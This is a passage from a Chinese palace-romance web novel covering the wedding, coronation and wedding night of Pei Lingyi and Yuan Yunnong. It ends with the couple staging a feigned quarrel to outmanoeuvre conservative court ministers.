今日都身着粉衣的侍女们手捧花篮,将娇艳欲滴的花瓣轻轻撒下,如红云般漫过元韫浓的裙裾,云霞铺地,簌簌飘落。 二人并肩走到堂前。 跨火盆时,裴令仪悄悄偏过身子替她挡着热浪,袖口掠过火苗带起的焦香混着喜烛气息。 这礼制早就被裴令仪改得面目全非,全在他与元韫浓喜恶一念之间。 拜完堂,还要去宫里行大典。 但裴令仪最是期待的,还是这拜堂的时候。 因为前一世,元韫浓先是嫁给了沈川,后面是他强取豪夺过来,强行让元韫浓入宫做皇后。 虽然办了封后大典,但也没有拜过堂。 这一点他始终遗憾。 他偏过头看向元韫浓,垂在身侧的手指微微蜷缩。 堂里堂外的宾客的目光聚焦于此,亲朋好友也齐聚一堂。 “一拜天地——”喜娘的声音清脆响亮,在喜堂内回荡。 萧煜和孙鹃纨一人一半,拉开如今大裴江山的舆图,其中包括北凉地界乃至于一些小国,也包含在内。 真是充满野心的天地。 元韫浓与裴令仪双手交叠,向高悬的舆图,两人缓缓俯身。 这一拜,也是天地为证,山河同贺。 “二拜高堂——” 二人转身面向坐在主位上的长辈。 高堂之上,岐王坐在那里,旁边是惠贞长公主的菱花镜。 另一边则是老清河王夫妇的物件。 岐王看着元韫浓,喉头微哽。 他多少还是舍不得,这个他最小的孩子,他和公主唯一的女儿,他可怜可爱的应怜。 裴令仪和元韫浓庄重虔诚地深深弯腰,以表敬意与感恩。 “好、好,好孩子。”岐王含着泪光点头。 “夫妻对拜——”最后一声,喜娘的话音落下。 裴令仪和元韫浓缓缓转身,四目相对。 盖头下的元韫浓睫毛轻颤,泛着盈盈笑意,裴令仪嘴角也不自觉勾起弧度。 他梦寐以求的,期待已久的瞬间。 他们深深弯腰拜下,额头几乎相触。 如此,便是礼成了。 他们就是夫妻了。 宾客齐呼“礼成”,喜乐声中,不合常规,不合常理,裴令仪缓缓伸出手,捏住这他亲手绣的盖头两角。 他停顿了一下,等到元韫浓的反应。 片刻之后,他揭开了盖头一角,俯身钻入盖头底下,吻上元韫浓的嘴唇。 一个一触即分的吻后,鼻息交缠,裴令仪揭开了盖头。 新娘子的面容展现在所有人眼前。 元韫浓原本就生得好颜色,此刻秀眉明眸之上染了绒薄的粉黛色,明丽而柔软。 涂了口脂的嘴唇因为水色,更显丰润诱人。 元韫浓今天很漂亮,很漂亮很漂亮,裴令仪想要所有人都能看见,看见元韫浓美丽的这一刻。 “真漂亮啊……”不知道是谁发出了第一声感慨。 “没有规矩。”元韫浓笑着朝着裴令仪丢出一枚被咬了半口的果子,正砸中裴令仪的下巴。 众人惊叹一声,怕这位阴晴不定的新帝翻脸,毕竟是在这众目睽睽之下被丢了咬过的果子。 但又想想,裴令仪本来就不顾规矩,或许是跟元韫浓之间新婚夫妻之间笑闹呢? 满堂哗然中,裴令仪弯腰拾起那颗青梅,握在掌心里笑。 先前给元韫浓做蜜饯,他摘光了清仪馆的那棵青梅树上所有的青梅。 现在元韫浓还能丢他,说明又有新果子了。 这回说不定,真的能青梅煮酒呢。 “孤种的青梅长得很好。”他笑道,“诸卿且待来日再添一杯今日之喜酒。” 这里头的礼数算是全了,到了宫里还得有典礼。 元韫浓去换衣裳,裴令仪也要把喜服换做龙袍。 快自然还是裴令仪快的。 宾客们也多数移步到了宫里头。 礼乐奏响,笙鼓奏鸣。 汉白玉阶铺满茜素红纱,宫道旁金丝楠木架上垂落万盏琉璃灯。 元韫浓的凤舆行过时,灯内夜明珠倏然亮起,如天河倾落人间。 裴令仪在丹墀之下,头戴冕旒,十二章纹的玄色冕服绣着暗金龙纹,龙袍上的日月星辰、山河鸟兽栩栩如生。 看见车舆,他眼底浮现笑意,疾步走去,在礼官唱诺前,亲手掀开了凤舆的珠帘。 “陛下……”礼部尚书惊呼。 “阿姊都累了大半天了,孤来迎一迎自己的妻子,有什么不可以的?”裴令仪俯身伸出手。 元韫浓被他扶着下车,嗔怪地瞥了他一眼,“像什么样子?沉稳些。” 凤冠上的九翚四凤展翅欲飞,珍珠流苏随着步伐摇曳生姿,半遮半掩。 裴令仪却笑:“阿姊这样也很漂亮。” 新帝与新后携手迈上漫长的丹墀,一步一步,走向丹陛。 司礼太监高声宣读册文,昭告天下皇帝登基、立后之事。 “阿姊,你真的想好了,要同我共度余生了吗?”在一步步朝至高处走去的台阶上,裴令仪轻声问道。 元韫浓愣了愣。 裴令仪没有回头看她,或许是不敢看,“今日我已经很开心了,就算是阿姊要反悔也没关系,我可以喊停。就算是一场梦,也很好……” “怎么?礼都成了,你这会觉得我要后悔了?”元韫浓都被气笑了。 打断裴令仪想要做出的解释,元韫浓点头,“好啊,我现在就后悔了。” 裴令仪听到元韫浓这话,心口一窒,喉间酸涩,艰难道:“那我……” “我现在就要和人私奔逃走,离开京华,我现在就去找沈川,跑得远远的。”元韫浓说道。 她想了想,仍觉得不够。 于是元韫浓继续道:“我想想,哦,就该跟沈川去云游四海,什么天南地北,什么山清水秀,都该和他共赏。这没说来,当初西洲我就该同他一块去啊。” “到时候,我再同沈川一起回京华,不回京华也无妨,找个山明水秀好风光的地儿就住下吧,养个小宠养个小孩,人间好啊。”元韫浓冷冷道。 她斜睨了一眼似乎真听进去的裴令仪,冷笑:“怎么样?陛下觉得如何啊?” 裴令仪一顿,自然听得出元韫浓这话是恼他了,“阿姊……” 元韫浓问:“我如果现在就要跟沈川私奔去了,你会放手吗?” 裴令仪哑然,沉默片刻,“……不会。” “不会你在这里扯什么呢?”元韫浓面无表情道。 要不是因为现在这个是大场面,元韫浓都想在大庭广众,众目睽睽之下,扇裴令仪一巴掌。 她说道:“你往后再给我在这种时候扯这些有的没的,我才不会管什么场合,保证扇你。” “我知道了阿姊,我以后不会了。”裴令仪却反而笑了起来。 见元韫浓没理他,他压低了声音道:“我自然是想,想和阿姊长长久久,永永远远。” 两人走到顶点,相对而立。 俯瞰着阶下俯首称臣的百官,落日余晖,金红色的光芒洒在帝后身上,将他们的身影镀上一层神圣的光辉。 站在至高处,裴令仪面对底下的文武百官,轻轻握住元韫浓的手。 他高声道:“愿我大裴国祚绵长。” 百官跪拜,山呼不止。 在千岁万岁的呼喊声之中,裴令仪微微偏过头,看向身侧的元韫浓。 眼神变得极其柔软,他悄无声息地晃了晃元韫浓的手。 他轻声说道:“愿我阿姊,长命百岁,同我白头。” 元韫浓回望向他,极轻道:“嗯。” 第109章 合卺酒 洞房设在了修葺好的凤仪宫里,凤仪宫是按照上一世的模样大致修葺的,又跟岁浓院里修得很像。 新郎官原本是该在外头跟人喝酒的,但是没人敢灌新帝的酒。 除了元氏这边的人,元韫浓的亲友们,还有一个胆大包天的孙鹃纨。 办也是办的宫宴,宫门大开,宫宴从岐王府直接摆到宫城里头,将宫廷与岐王府连在了一起。 裴令仪和元韫浓,其实说白了,也算是都出身于曾经的岐国公府,如今的岐王府。 此等之景,真是前所未闻,前所未见。 裴令仪是从岐王府被灌到了宫里,其中最凶的就是元彻回。 还是歧王怕元彻回把裴令仪灌倒了,上来拦了自己儿子。 但是事实上裴令仪的酒量比元彻回好很多,最后还是元彻回趴在桌上抱头痛哭。 元蕴英看不下去自己哥哥这丢人现眼的模样,拉元云和叫人先把元彻回扶回院子去了。 其余明里暗里劝酒的,实际上都是孙鹃纨、裴九他们。 裴令仪今日心情大好,谁来劝都喝,但他酒量尚可,还耍小手段,不动声色就能倒掉大半酒。 洞房花烛夜,他可不想醉醺醺地跑去见佳人。 真正在酒桌上大杀四方的是云水真人,喝趴下了周围的一圈人。 “土匪!简直是土匪,抢了我的好友,我居然还要替韫浓给这土匪送香囊!”郑女幼已经半醉不醉了,她还接了活要替元韫浓给裴令仪送醒酒香囊。 香囊刚掏出来,就被孙鹃纨一不小心撞飞了出去。 “哎呀,瞧我这,笨手笨脚的。”孙鹃纨在这刻意的不小心之后,才没什么诚意地道歉,“对不住呐,郑大人。” 她可不想让裴令仪就这么顺顺利利躲了酒,还配个醒酒的香囊,美美抱着美人归了。 她不敢明着去灌裴令仪,这时候不使点坏,可就没出路了。 她嬉皮笑脸拾起香囊深嗅了一下,突然狂打起了喷嚏。 “哎呀,怪我,我替四娘放草药的时候,错把胡椒面当醒神药粉了。”元云和在后边出了声。 孙鹃纨赶忙把香囊丢到一边,看向后边微笑着的元云和。 发觉这也是个跟她一样心思,不想让裴令仪今日那么顺当的人。 而且元云和还要狠,都换成胡椒面了。 一旁偷看的萧煜见了,憋笑憋出泪花。 郑女幼还在那里趁着酒意写文章,写完递给旁边的慕水妃看。 慕水妃和沈川都看了文章,还是感慨闺中密友居然要嫁人了的闺怨诗。 一首《嗔君夺闺友》,满是怨念。 沈川看着那诗稿念了一遍。 “忆昔好年绮梦长,今却嫁君入宫墙。” “朝朝欲语凭谁讲,暮暮相思暗自伤。” “夺人所好非君子,休负卿卿好韶光。” “君须怜我惜友意,休怪小怒盈满腔。” “真是好诗,道尽我等心中所想。”他感慨。 慕水妃看了也点头,“六娘是好文采,再写长些,叫人编了曲,来日万寿宴上献唱给我们陛下吧。” 郑女幼一脸不要害我的表情,“我可不敢,他待会砍我脑袋怎么办?” 孙鹃纨不知道从哪听起来的,拎着酒壶笑着凑过来,“怕什么?有我们皇后在呢,她会保你的。” “哦?这么说来,有理有据。”郑女幼眼睛一亮。 反正元韫浓会保她的。 “是吧?”孙鹃纨对郑女幼一扬眉,“我们皇后护短,有她在,陛下肯定不敢砍你脑袋的。” 郑女幼顿时来了斗志,“那好,我便要写上千篇万篇这样的诗,通通编成歌叫人传唱。” 孙鹃纨握住她的手,“好!我支持你!” 两人相见恨晚。 慕水妃无奈摇头,看向另一边黯然神伤的慕湖舟,幽幽叹息。 慕湖舟独自一人喝着闷酒。 和慕水妃不同,慕水妃一直都是与世无争的淑慎公主,而且向来同元韫浓交好。 但同为慕南皇族的慕湖舟曾经不仅是距离皇位咫尺之遥的太子,还曾经跟元韫浓有过婚约。 裴令仪逼宫,改朝换代那一日,慕湖舟还带兵抵御过。 如此相较起来,慕湖舟的处境自然就变得微妙了起来。 作为唯二还在京华并且身负爵位的慕南皇族,自然会受到瞩目。 众人也是揣测着裴令仪和元韫浓的意思来看菜下碟的,对慕湖舟的态度也是尽量保持距离。 见慕水妃叹气,沈川也看了过去,也难免叹息:“只差一步,也着实是难受。” “三哥今日属实是开心不起来。”慕水妃道。 沈川点了点头,“我去陪他喝两杯。” 沈川拎着酒壶,坐到慕湖舟的身边,拍了拍他的肩膀,又给他添了一杯酒,“我陪你喝。” 孙鹃纨看着这一起喝酒的俩男人,嘴角微微抽搐。 她都不知道沈川脑子是怎么想的,这会跟慕湖舟一块喝酒,还这么一脸惆怅的模样,生怕裴令仪不起疑心吗? 这两人往那一坐,都是跟元韫浓有前尘往事之人,怎么看在这一日都像是失恋者会盟。 她又瞥向裴令仪,裴令仪似乎也朝这边瞥了一眼,但又被人劝起了酒。 得亏今日裴令仪心情好得很,孙鹃纨啧了一声。 刚这么想,裴令仪就叫她了:“孙鹃纨。” 孙鹃纨一个激灵,连忙跑了过去,殷勤道:“陛下有何吩咐啊?” “给你皇后殿下去厨房找些吃食送过去,她今日都没好好吃上一顿。你记着找些她爱吃的,也别太多了,容易积食。”裴令仪低声嘱咐。 孙鹃纨无语,她就知道。 但明面上她又积极应下:“好嘞。” 临走了她又悄摸摸对萧煜使了个眼色,示意萧煜再多劝裴令仪点酒。 孙鹃纨端了桂圆银耳山药羹和梅花糕过去,又挑了几碟小菜去了。 回来时候更是得意,又把食盒拎了回来,摆到裴令仪面前。 “殿下懿旨来了,陛下可要看一看?”孙鹃纨嘴上问着,手已经把食盒盖头打开了。 里头只摆了几颗青梅,拍成了箭矢状指向裴令仪。 还附赠了一绢条——再饮半杯,陛下今夜可天地为被。 这是警告了,再喝下去都不用回凤仪宫了。 众人哄笑起来:“是娘娘等不及了,这是我们的不是,一直拖着陛下不放。” “陛下再不回去,今日连凤仪宫的大门都进不去了,这可不成了我们的罪过?” “这才刚成亲,陛下惧内的名声就得传出去了。” 他们也就趁着今日敢打趣裴令仪两句,索性正逢喜事,又事关元韫浓,裴令仪并无不悦。 他反而摇摇晃晃站了起来,道:“孤这会醉得见双影,再不回去,可是真进不了凤仪宫了。” 说着,他往外头走去,踉跄带翻食案,顺手把孙鹃纨往外一推,“就让孙副将陪你们接着喝吧,她可是自称能喝倒十头牛的。” 说完也不管孙鹃纨死活,自己闪了出去。 早已等候多时的侍女们见裴令仪要回洞房了,捧着盛满喜果的托盘跟在身后,轻声嬉笑,更添几分热闹。 凤仪宫今日也是办得十分喜庆,红烛映得纱帐似笼着绯色云霞。 元韫浓刚吃完点心,听着外头宾客的笑闹声渐远,转过头便望见一片衣摆扫过门槛。 所有人都悄无声息地退了下去。 门扉缓缓闭合,留了半阙月光,将外界的喧嚣隔绝在外,只留下一室旖旎,静待良辰。 裴令仪望向元韫浓,眉眼也笼上一层浅淡的温柔。 “来喝合卺酒。”元韫浓弯起唇角,对他招了招手。 裴令仪含笑坐到了元韫浓对面,“难为阿姊未拆钗环,未卸粉黛等我,今日着实辛苦了,委屈了阿姊。” “成婚嘛,忙成这样是正常的。”元韫浓递给裴令仪一杯酒。 “阿姊如此善解人意,宽慰我心。”裴令仪接了酒杯,轻轻搁在一边,“我还是先侍奉阿姊卸下钗环吧。” 他在元韫浓身边太久,做起什么侍奉盥洗梳理的事情也很顺手。 卸下凤冠,青丝散落如瀑。 叮叮当当金玉琉璃,一堆钗环首饰被摘下来放在梳妆镜前。 元韫浓忽觉鬓边微沉,裴令仪又为她簪上支点翠流苏钗,将青丝半绾。 “不喝酒,倒是先拆钗环,清都啊,你图谋不轨。”元韫浓唇角勾起。 “这样喝了酒,好办事些。”裴令仪凑在元韫浓耳畔低声道。 元韫浓瞪了他一眼。 裴令仪笑着执起犀角梳为她通发,“阿姊别瞪我呀。” 元韫浓望向同样摆在桌上的菱花镜,这一面惠贞长公主留下的镜子,“可惜阿娘没有瞧见。” “长公主在天上瞧见了,她会高兴的。”裴令仪轻声道。 铜镜映出他微红的眼尾,他凑在元韫浓脸颊边,轻轻蹭了蹭,“当年阿姊十五及笄,三把笄第一把就是琼花白玉笄,是岐王与长公主一同送的。” 他将那把发笄精准无误地从匣子里挑出来,为元韫浓戴上,“很漂亮,很衬你。” “阿娘知道惠帝在背后的动作吗?”元韫浓轻声问。 裴令仪顿了顿,“她知道。” “只是阿娘还是舍不下这个曾经相依为命的弟弟是吗?因为在很长的一段时间里,惠帝是她唯一的家人。所以在我出生后的很长一段时间里,她也是那么告诉我的。她一直不把自己和我当成元家人。”元韫浓笑了笑。 惠贞长公主其实一直都很进退两难,为了做惠帝的眼线嫁入元氏起,她其实就回不去了。 而那时候的岐王有亡妻,还有亡妻留下的三个孩子,这样的家,又是一个权臣的家,也注定了不会让惠贞长公主感受到自己被接纳,成为真正的元家人。 “惠帝在长公主入葬之后,除了想要长生不死之药,还在逼迫那些方士去炼起死回生之药,复活长公主。”裴令仪说道。 元韫浓微微一怔,看向裴令仪。 裴令仪垂眸,“当然是不可能的,所以那些方士看的是借尸还魂的方子。” “真恶心对吗?默许阿娘的死,死后又装出这一副模样给谁看?”元韫浓讽刺般弯了弯唇。 “惠帝后面也认同了那个借尸还魂的方子,虽然是假的,但他信以为真。他想要让阿姊作为长公主复生的媒介,成为长公主全新的身体。”裴令仪说这话的时候没有什么表情。 但元韫浓看他攥紧了拳头。 元韫浓有些不寒而栗,“他真是疯了。” “是啊,阿姊,我真的很讨厌他。”裴令仪的语调有些落寞。 裴令仪的讨厌两个字对于惠帝来说似乎是有些太轻飘飘了,元韫浓知道他最恨的就是惠帝和太后。 “如果不是他们,我原本也可以像沈川或者慕湖舟他们那样,干干净净的,光明磊落的,站在阿姊面前。”他说。 元韫浓却道:“你这样也很好。” 裴令仪笑了笑,推开妆匣,露出满屉书信。 “这些信,是我今生头一回离京出征写的。当时没有一封寄回来,今日他们把匣子搬来凤仪宫的时候,我才塞进去。我也想,想让阿姊看一看。”他将那些信交给元韫浓。 元韫浓指尖抚过泛黄纸页,全是裴令仪在戍边时写就却未寄出的相思。 每一封书信,都是问阿姊安。 “为什么不寄出来?”元韫浓问。 裴令仪看着那些信,“或许是因为近乡情怯吧。” “那你不是今生头一回远离我吗?怎么反而叫近乡情怯了?”元韫浓失笑。 “因为那时候我才认识到自己的剑有多钝,离阿姊那么近,却又那么远。”裴令仪将她指尖贴在心口,“好在如今,我再握起剑,也能护得住阿姊了。” “我向长公主起过誓的,无论如何,直至死亡,我都要护着阿姊。”他端起那杯酒,“阿姊可愿与我,饮此杯?” 元韫浓举起自己的那一杯。 “喝了这杯酒,我可把丑话说在前头了。”元韫浓笑着抬眸看向他,“我可不会比前世好多少,什么柔情似水你也别想有。你后面就算是想要把权收回去,我也不会放手。” “没想阿姊放手。”裴令仪哑然失笑。 他凑近了些,认真道:“最好永远不放手。” 第110章 结发为夫妻 红烛摇曳的光晕里,酒盏碰撞出细碎的清响。 元韫浓垂眸时睫毛在眼下投出蝶翼般的影,穿过裴令仪的臂弯,绸缎袖口滑落处,腕间玉镯发出一声若有若无的叮。 裴令仪骨节分明的手稳稳托住她的杯底,两人纠缠的影子在屏风上交织成缠绵的藤。 “只愿……”他喉结滚动,温热的呼吸拂过元韫浓的耳垂,“岁岁常欢愉。” 仰头饮尽琥珀色的酒液,几滴琼浆顺着下颌坠入衣襟,洇湿一片海棠红。 裴令仪伸出手,想用指腹擦去元韫浓唇边的酒水,却被她突然咬住指尖。 酒气氤氲的对视里,满室旖旎都化作了心口翻涌的热浪。 合卺礼罢,那就该洞房了。 红烛摇曳,金纹喜帐层层叠叠垂下。 鎏金兽炉吞吐着龙涎香,袅袅青烟缠绕着蟠龙烛台,绣着百子千孙的锦被被踹落床榻,满地撒着的红枣桂圆在推搡间四处滚落。 衣衫一件一件滑落在地,元韫浓腕间的镯子随着动作撞在雕花床柱上,发出清脆的声响,与急促的喘息声交织在一起。 裴令仪的动作温柔却强势,渗透到每一寸。 他的手抚过元韫浓的腰线,因为握剑习武而在掌心留下的薄茧和伤疤,叫元韫浓抑制不住地微微发抖。 月光透过窗纱倾泻而入,映出满地凌乱的绸缎碎片与纠缠的肢体。 春夜渐深,响动却愈发激烈,时起时伏。 裴令仪吻去元韫浓的眼尾的泪珠,又亲了一下元韫浓眼下的小痣。 越过裴令仪的肩膀,她有些困难地望向床帐,“慢点……” 裴令仪的指腹在她眼尾轻轻刮过,“我让阿姊不舒服了吗?” 元韫浓攀着裴令仪的肩背,手指插进裴令仪汗湿的发间,或者在他背上留下抓痕。 她倒是想骂,但连力气都没有了。 她还得庆幸今晚裴令仪怜惜她累了一整天了,没有一次接着一次,也没有到天亮。 只一次点到为止,裴令仪便忍着抽身而去,去解决了再回来,抱着元韫浓去清理。 等再将元韫浓抱回来放床上,裴令仪半侧着身子,探出床榻剪烛。 他只是半披着寝衣,露出胸膛和腰腹,也包括长年累月留下的伤疤。 “还疼吗?”元韫浓问道。 “早就不疼了。”裴令仪笑着回应。 元韫浓带有促狭地瞥向裴令仪身上新添的那几道抓痕,“那新的几道呢?” “这一些,疼才好。”裴令仪回身拥她入怀,含笑道,“疼才记得,是阿姊留下的。” 他撑着手臂支起上身,目光温柔,注视着元韫浓。 元韫浓散落的青丝如瀑铺展在枕上,人还透着粉。 “结发为夫妻……”裴令仪嗓音沙哑,指尖抚过元韫浓的鬓发,将一缕发丝轻轻缠绕在指间。 “想跟我结发吗?”元韫浓扬起眉梢。 裴令仪轻叹一声,凑到元韫浓鬓边,“做梦都想。” “那就结吧。”元韫浓道。 裴令仪微微一怔。 元韫浓笑:“这一缕头发,我还是舍得下的。” 她道:“前世他们就猜帝后是恩爱两不疑,谁知道是相看两生厌呢?如今真要恩爱两不疑了,你倒是犹疑起来了。” “阿姊冤枉我,前世分明只有阿姊见我生厌。”裴令仪也笑起来,他摸了匕首来。 烛台早已熄灭,唯有窗棂透进的月光为两人镀上银边。 刀刃在月色下泛着冷光,却被裴令仪掌心的温度焐得温热。 手中匕首小心割下元韫浓一缕青丝,动作轻柔得仿佛在雕琢稀世珍宝。 发丝入手,柔若流云。 裴令仪又割下一缕自己的头发,将其与自己的长丝并排缠绕,又放入香囊之中。 “结发为夫妻,恩爱两不疑。”他将香囊捏紧在掌心里。 俯下身,亲吻元韫浓的眉心,“你我,生生世世,永不分离。” “直到死?”元韫浓微微偏过头。 “不。”裴令仪轻声道,“死也不分开。” 今日是不上朝,但也要处理政务。元韫浓累得起不来,裴令仪也陪她多睡了一会。 但等到元韫浓艰难地爬起来时,裴令仪已经起来多时了,就在旁边看折子。 “阿姊醒了。”裴令仪放下折子,笑吟吟地看过来。 “你还没去议事呢?”元韫浓记得他今日要召见臣子议事的。 裴令仪道:“原也不是什么大事。” 霜降和小满带着一群侍女进来伺候元韫浓梳洗,对镜梳妆时,裴令仪过来上手了。 裴令仪挽发还说得过去,但比起霜降和小满自然就显得笨拙了。 “你叫霜降来。”元韫浓看不下去了。 虽然之前裴令仪也帮她挽发,但都是那种简单的发式。 裴令仪有些沮丧,“我回头去学了来,保管能梳好的。” 元韫浓铁面无私,“那你学了再来。” “那我为阿姊描眉吧。”于是裴令仪又换了。 他捏着螺黛的手势如执剑,看得元韫浓眉心一跳。 “你会画吗?”元韫浓很担心。 更年少的时候裴令仪替元韫浓画过,画得一团糟,后面很长一段时间他都不敢给元韫浓画。 由于画得十分糟糕,还跑出去猎了一头狼来给元韫浓赔罪。 “阿姊不想让我画吗?”裴令仪问。 “你就只会去捕猎,然后猎头狼回来,扒了皮给我送过来做衣裳,哪里会描眉画眼的?”元韫浓笑吟吟地问,“我纵使是让你画,你也不敢画。” “既然阿姊说我连狼都敢杀,怎么就不敢给描眉了?”裴令仪含笑扬眉。 他捏着元韫浓的下巴抬起来,凑到耳边轻声道:“只要阿姊不说话,我保准画得好。” 元韫浓轻哼一声,便不再说话了。 “当年在镇国寺,我是向菩萨发过愿的。”裴令仪捧着元韫浓的脸,铜镜映出他认真的眉眼。 他极其细致地一点一点在元韫浓眉上描着,“若得娶阿姊,要日日为她画眉。” “你这菩萨,说的该不会是我吧?”元韫浓笑了。 “阿姊。”裴令仪无奈道。 片刻后,他松了手,让元韫浓对镜子瞧一瞧,“成了,阿姊瞧一瞧?” 元韫浓偏过脸,定睛一看,裴令仪描得眉漂亮又英气。 她不免有些诧异了,“真想不到啊,原来你是深藏不露。” “那我可算是一雪前耻了,先前画不好,可是就被阿姊笑话了半天。”裴令仪笑道。 元韫浓不可置否,转向他,问道:“这深浅如何?” 裴令仪笔尖一转,用笔杆挑起元韫浓下巴,“我瞧着恰恰好。” 元韫浓用手拍开笔杆,“从哪儿学来的这纨绔子弟一套?莫不是背着我去哪里的秦楼楚馆了吧?” “阿姊真是冤枉我。”裴令仪故作可怜。 他凑过去,在元韫浓耳边低语:“妆罢低眉问夫婿,画眉深浅入时无。” 窗外忽有鸟雀啼鸣,新裁的花枝探进窗棂,瓣上晨露滚落妆台,恰融了昨夜的残脂。 裴令仪取过朱砂笔,“我再为阿姊添妆吧。” “你们瞧瞧,我们清都如今是无所不通了,不仅仅是描眉,连添妆也会。”元韫浓侧脸过去,向身边的女官们取笑裴令仪。 霜降和小满她们也笑:“可见陛下背地里是为殿下下足了功夫呢。” “还是叫五郎吧。”裴令仪却笑,“叫陛下显得生疏了,我分明还是与阿姊一家人。” 女侍们便去看元韫浓的意思,见元韫浓没有反应,通通笑唤五郎。 元韫浓看裴令仪画得细致入微,“你又是描眉又是添妆的,一会内侍们来喊你去议事,可得迟了。” 裴令仪在她眉心描了朵桃花,“她们若问今日是为何迟了,便说……” 元韫浓挑眉,等待他的后续。 笑意染亮他眼底,“便说孤,在侍奉国母。” 元韫浓笑着拿团扇敲了一下裴令仪的额头。 * 少年夫妻,少年帝后。 容易给人一种误解,就是好说话,好办事。 裴令仪和元韫浓觉得那些老臣迂腐,那些老臣觉得他们二人荒唐。 例如说帝王朝会时颈上的抓痕显眼,例如说皇后的奏章朱批上印着无法忽视的蜜饯糖渍,例如说帝后二人总是动不动打言官的板子。 又一次在他们上奏请求让女官辞去前朝官职,转而入后宫官职被驳回后,元后当朝拂袖而去,而他们的仪帝抛下满朝文武,追了上去。 臣子们在后边纷纷摇头哀叹牝鸡司晨。 “难道天要我大裴二世而亡吗?” “何须二世?再这么下去,一世就完了。” “大人此言差矣,依我之见,这瞧着是比南朝之时好了不少。帝后二人励精图治,既能御下又能爱民,是好事啊。” “哪有一个繁盛的王朝君王,是如此被皇后所支使的?后宫干政,外戚势大,这分明就是亡国之兆啊!” “大人言重了,殿下是个明理人,朝中有女官也不见得是什么坏事。” “这些女官就要把你我的位置给占了,看你到时候还笑不笑得出来!” “总得想个法子……不如我们单独和陛下说吧?陛下就算是再爱元后,也无法忍受依附于元后之后啊。” “只要我们说得多了,无论如何,陛下总会往心里去的。” “可是陛下马上就要离京,一路前去收复叛乱的州府和兵权了,此时生事……” “那又如何?不过是削弱元后和元氏之力,不会碍着大局的。” “哎,先别说了,孙鹃纨他们看过来了……” “噤声……” 孙鹃纨凉嗖嗖地瞥过那些人,不屑一顾。 这些人迟早也被元韫浓砍掉脑袋。 另一边做戏的裴令仪追上了元韫浓,见元韫浓面色不虞,小心道:“阿姊是真生气了吗?” “你发兵在即,这群人却仍不消停。等你离京,我一人摄政,他们恐怕是更加闹翻了天。”元韫浓冷着脸道。 裴令仪道:“在离京前,我会把这些人都压下去的。” “或者另外想个法子呢?”元韫浓把目光放到了裴令仪身上,“杀鸡儆猴……” 裴令仪眨了一下眼睛,“杀谁?” 元韫浓微笑:“杀你。” 裴令仪“啊”了一声,张开双臂,一副任人宰割的模样,“那阿姊来杀吧。” “少在这里插科打诨。”元韫浓点了一下他,“那群老东西保管要私底下来找你挑拨离间了,你装中计就行,到时候在朝堂上,你就要装作同意他们所见,愿意撤女官。” 裴令仪明白了她意思,“然后阿姊再大发雷霆,连带我一块发落了,是吗?” “是啊。”元韫浓坦然点头,“但会损你颜面,你在意不在意?” “惧内算什么损颜面?”裴令仪笑道,“那算是美名。” 元韫浓轻咳一声:“那你现在就得装得像点,得装成和我有嫌隙才对,别老对我这么笑脸相迎的,不然那些老狐狸怎么信得过?” “咳咳!”裴令仪捏拳凑到唇边咳了咳,然后板起脸来,几息后又没忍住破了功,笑出了声。 “严肃些。”元韫浓嗔怪地睨了他一眼。 裴令仪还是笑:“我到了他们面前,就会严肃的。” “为了帮你演得像些,也是为了叫那些人信得过,有个合理的借口,我还得请人来帮帮忙。”元韫浓微笑。 裴令仪突然有了种不祥的预感。 元韫浓笑着拍了拍他的肩膀,“我一会就请沈大哥入宫小住,正好他不久还要去锦州出差,锦州的新州牧也是个老狐狸,我有事要交代他。” “阿姊,我……”裴令仪顿时变了脸,还想要改变元韫浓的主意。 话还没说完,就被元韫浓挥手打断。 “行了,你早些去那些老臣面前演戏吧。”元韫浓向前走去。 跟随在后的霜降和小满同情地看了一眼裴令仪,追上了元韫浓。 沈川在当日的午后就坐着马车,拿着令牌进了凤仪宫。 目睹一切的孙鹃纨幸灾乐祸,“来自凤仪宫的凤鸾春恩车来接人了。” 裴九满脸疑惑,“你在说什么啊?陛下为什么今日看起来也心情不佳?” “我懒得跟你说,你啥也不知道。”孙鹃纨无语地道,“长点心吧,他俩设局呢。” 她看着一群气势汹汹而来的老臣,扬起唇角,“你就等着吧,有好戏看了。” 第111章 效仿女帝 敲锣打鼓,好戏上演。 众臣子认为自己已经说服了裴令仪,毕竟前些日子他们不断地提及元韫浓和元氏越俎代庖,裴令仪似乎一日信过一日。 这一日也是如此,一群人口干舌燥,明里暗里给裴令仪上眼药。 深秋的霜色浸染琉璃瓦,裴令仪的指尖在案上敲出断续的节奏。 案上的折子墨迹未干,“后族豢养私兵,江南漕运已成元氏囊中之物”的字句刺得他太阳穴突突直跳。 香炉的香烧得正旺,旁边的臣子还在絮絮叨叨:“牝鸡司晨,国之将倾啊,陛下不可再纵容皇后娘娘再如此胡作非为下去了!” 立即有人连声附和:“正是如此,再这样下去,这大裴江山,到底是姓裴,还是姓元啊?” “更何况皇后今日宣大理寺少卿沈川入宫小住,沈川乃是曾经与元后议过亲的人,简直是不成体统!” “宣皇后来。”裴令仪突然扬声道,冕旒随着动作轻晃,在晨光中碎成一片晃动的金芒。 众人难掩暗喜之色。 内侍去请元韫浓时,元韫浓还在跟沈川讲去锦州办案的事情。 “锦州漕运,也是一回事。当地豪强阳奉阴违,漕运弊端积重难返。沈大哥,你……”元韫浓话还没说完,外头就来了通报。 沈川目露担忧,“是不是那些老臣又在背后乱说话了?陛下误会了吗?要不要我……” “没事。”元韫浓对他笑了笑,“沈大哥留着吧,这事我自己能处理。” 当元韫浓身着藕丝衫子柳花裙,踏入殿内时,气氛冷凝,唯有沉香袅袅,带有一丝若隐若现的甜意。 藕丝衫子柳花裙,空著沈香慢火熏。 元韫浓垂眸扫过案上的折子,忽然轻笑出声:“我还当是什么军国大事,原来是几位大人又在危言耸听。” 她的指尖缓慢地划过“牝鸡司晨”这四个字,鬓边钗子上的东珠跟着晃动,“自让我同御朝堂,共理万机,这类折子早该堆成山了。” “这些折子每日都如同雪花般在孤的御案上!元家良田万亩,私铸兵器的工坊都快修到京华城外去!你以为孤是聋子瞎子?”裴令仪怒道,“孤纵容你,纵容元氏,你们都将孤当成傻子不成!” 他猛地起身,逼近时刻意放重脚步。 元韫浓踉跄着后退半步,后腰重重撞在蟠龙柱上。 裴令仪眉头微微一皱。 元韫浓直直迎上他的目光,“你若真信这些无稽之谈,何不自己查个清楚?还是说……” 她冷笑:“你早就想寻个由头,将我从这凤座上拉下来?” “皇后逾矩了。”裴令仪冷声道。 